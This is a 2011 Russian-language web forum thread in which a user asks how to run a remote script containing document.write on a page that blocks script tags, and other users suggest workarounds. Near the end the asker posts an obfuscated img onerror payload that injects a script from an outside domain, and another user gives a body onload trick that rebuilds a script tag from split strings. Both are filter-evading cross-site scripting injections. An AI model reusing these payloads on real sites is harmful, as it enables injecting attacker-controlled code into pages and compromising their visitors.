|
lolcat ↓
|
 |
|
07 Июнь, 2011, 07:12:20
|
НЕ ХУЕТА!
ХУЕТА!
|
Карма: -3
Сообщений: 367 Сила слова: -0.82
|
Есть страница, в которую нельзя добавлять скрипты через тег <script>.
Но можно выполнять код задавая onload, onclick и т.д. Можно добавлять произвольный html.
Задача - сделать так, чтобы код подгружаемый со стороннего сервера, содержащий document.write, корректно отработал.
У меня затруднение. Помогите советом. Спустя 1 минуту 50 секунд добавил Да, на этой странице подгружается библиотека jquery. Это может как-то помочь?
|
|
|
|
|
Записан
|
|
|
|
|
KaFe ↓
|
 |
|
07 Июнь, 2011, 07:40:57 , спустя 28 минут 37 секунд
|
НЕ ХУЕТА!
ХУЕТА!
|
Группа: Сраный Тролль Карма: -13346
Сообщений: 1727 Сила слова: -772.79
|
вообще нехуя не понятно
|
|
|
|
|
Записан
|
|
|
|
|
phpdude ↓
|
 |
|
07 Июнь, 2011, 07:43:55 , спустя 2 минуты 58 секунд
|
НЕ ХУЕТА!
ХУЕТА!
|
я - ЭМО
Группа: в ухо Карма: 345
Сообщений: 20790 Сила слова: 1.66
|
ебание крякеры xDDD
|
|
|
|
|
Записан
|
забанен. могу забанить других, пишите в личку BEER. Helping ugly people have sex since 1862.
|
|
|
|
Stasovsky ↓
|
 |
|
07 Июнь, 2011, 08:06:10 , спустя 22 минуты 15 секунд
|
НЕ ХУЕТА!
ХУЕТА!
|
Сенсей XD
Группа: Джедаи Карма: 54
Сообщений: 3653 Сила слова: 1.48
|
|
|
|
|
|
Записан
|
|
|
|
|
lolcat ↓
|
 |
|
07 Июнь, 2011, 08:20:08 , спустя 13 минут 58 секунд
|
НЕ ХУЕТА!
ХУЕТА!
|
Карма: -3
Сообщений: 367 Сила слова: -0.82
|
Stasovsky, я не могу залить на тот сервер .js файл.
|
|
|
|
|
Записан
|
|
|
|
|
Stasovsky ↓
|
 |
|
07 Июнь, 2011, 08:57:16 , спустя 37 минут 8 секунд
|
НЕ ХУЕТА!
ХУЕТА!
|
Сенсей XD
Группа: Джедаи Карма: 54
Сообщений: 3653 Сила слова: 1.48
|
а в чем проблема залить файл налево?) на тот же народ, например))
|
|
|
|
|
Записан
|
|
|
|
|
lolcat ↓
|
 |
|
07 Июнь, 2011, 10:33:33 , спустя 1 час 36 минут 17 секунд
|
НЕ ХУЕТА!
ХУЕТА!
|
Карма: -3
Сообщений: 367 Сила слова: -0.82
|
Этот метод работает через xhr, значит не сможет выполниться между доменами.
Тут проблема такова, что после onload нельзя писать в поток - он уже остановился. Как мне это обойти, не имея возможности использовать тег script? Есть ли такие события, которым можно подвесить на теги мой "обработчик", чтобы он выполнился раньше onload?
|
|
|
|
|
Записан
|
|
|
|
|
Faster ↓
|
 |
|
07 Июнь, 2011, 11:43:02 , спустя 1 час 9 минут 29 секунд
|
НЕ ХУЕТА!
ХУЕТА!
|
Карма: 10
Сообщений: 954 Сила слова: 1.05
|
конкатенация тега script
|
|
|
|
|
Записан
|
воспитываю дочь. С домами и деревьями - не приставать.
|
|
|
|
lolcat ↓
|
 |
|
08 Июнь, 2011, 12:23:18 , спустя 40 минут 16 секунд
|
НЕ ХУЕТА!
ХУЕТА!
|
Карма: -3
Сообщений: 367 Сила слова: -0.82
|
И как я это сделаю, без контейнера <script>? В xhtml вроде нет такого функционала.
|
|
|
|
|
Записан
|
|
|
|
|
indeego ↓
|
 |
|
08 Июнь, 2011, 06:01:04 , спустя 5 часов 37 минут 46 секунд
|
НЕ ХУЕТА!
ХУЕТА!
|
Карма: 0
Сообщений: 43 Сила слова: 0
|
Этот метод работает через xhr, значит не сможет выполниться между доменами.
Если не ошибаюсь уже существует решение кросс-доменного аякса, причем нативное. Там какой то флаг указывается и все. Вроде на хабре или где проскакивало.
|
|
|
|
|
Записан
|
|
|
|
|
AlexanderC ↓
|
 |
|
08 Июнь, 2011, 08:07:18 , спустя 14 часов 6 минут 14 секунд
|
НЕ ХУЕТА!
ХУЕТА!
|
Карма: 1
Сообщений: 140 Сила слова: 0.71
|
Есть такое дело как кроссдоменный аякс запрос... Вот тебе пропатченая функция
jQuery.ajax = (function(_ajax){ // enable cross domain ajax powered by yahoo API(same use as in jquery)
var protocol = location.protocol,
hostname = location.hostname,
exRegex = RegExp(protocol + '//' + hostname),
YQL = 'http' + (/^https/.test(protocol)?'s':'') + '://query.yahooapis.com/v1/public/yql?callback=?',
query = 'select * from html where url="{URL}" and xpath="*"';
function isExternal(url) {
return !exRegex.test(url) && /:\/\//.test(url);
}
return function(o) {
var url = o.url;
if ( /get/i.test(o.type) && !/json/i.test(o.dataType) && isExternal(url) ) {
o.url = YQL;
o.dataType = 'json';
o.data = {
q: query.replace(
'{URL}',
url + (o.data ?
(/\?/.test(url) ? '&' : '?') + jQuery.param(o.data)
: '')
),
format: 'xml'
};
if (!o.success && o.complete) {
o.success = o.complete;
delete o.complete;
}
o.success = (function(_success){
return function(data) {
if (_success) {
_success.call(this, {
responseText: data.results[0]
.replace(/<script[^>]+?\/>|<script(.|\s)*?\/script>/gi, '')
}, 'success');
}
};
})(o.success);
}
return _ajax.apply(this, arguments);
};
})(jQuery.ajax); // --end
Спустя 1 минуту 38 секунд добавил Нашёл у себя ;D...
единственное что хром ругается что передаётся это дело с некорректным миме(он ваще на многое ругается)...
|
|
|
|
|
Записан
|
*Не всё Windows™ что виснет, не всё Linux что "да ну его..."
|
|
|
|
indeego ↓
|
 |
|
09 Июнь, 2011, 12:01:40 , спустя 15 часов 54 минуты 22 секунды
|
НЕ ХУЕТА!
ХУЕТА!
|
Карма: 0
Сообщений: 43 Сила слова: 0
|
AlexanderC, спасибо, забрал себе.
|
|
|
|
|
Записан
|
|
|
|
|
lolcat ↓
|
 |
|
11 Июль, 2011, 04:50:16 , спустя 32 дня 4 часа 48 минут 36 секунд
|
НЕ ХУЕТА!
ХУЕТА!
|
Карма: -3
Сообщений: 367 Сила слова: -0.82
|
<img src="htt://123.12211" onerror="(function(){var scr = document.createElement('script');scr.src = 'ht'+'t'+'p'+':'+'//mo'+'bik'+'ano.'+'co'+'m/'+'out.p'+'hp?sid=11'+'111';document.body.appendChild(scr);})();" />
Вот как-то так я это сделал.
|
|
|
|
|
Записан
|
|
|
|
|
rider-sx ↓
|
 |
|
11 Июль, 2011, 06:11:34 , спустя 1 час 21 минуту 18 секунд
|
НЕ ХУЕТА!
ХУЕТА!
|
drmmmmmm
Группа: Адекваты Карма: 32
Сообщений: 2718 Сила слова: 1.18
|
Не проще ли грузить скрипт допустим в
<div id="haxx" style="display:none">
alert(1);
</div>
а потом в body:
<body onload="haxx=document.createElement('scr'+'ipt');haxx.innerHTML=document.getElementById('haxx').innerHTML;document.body.appendChild(haxx)">
|
|
|
|
« Последнее редактирование: 11 Июль, 2011, 06:11:08 от rider-sx »
|
Записан
|
|
|
|
|
lolcat ↓
|
 |
|
11 Июль, 2011, 07:02:25 , спустя 50 минут 51 секунду
|
НЕ ХУЕТА!
ХУЕТА!
|
Карма: -3
Сообщений: 367 Сила слова: -0.82
|
Мне нужно было до onload скрипт выполнить.
|
|
|
|
|
Записан
|
|
|
|
|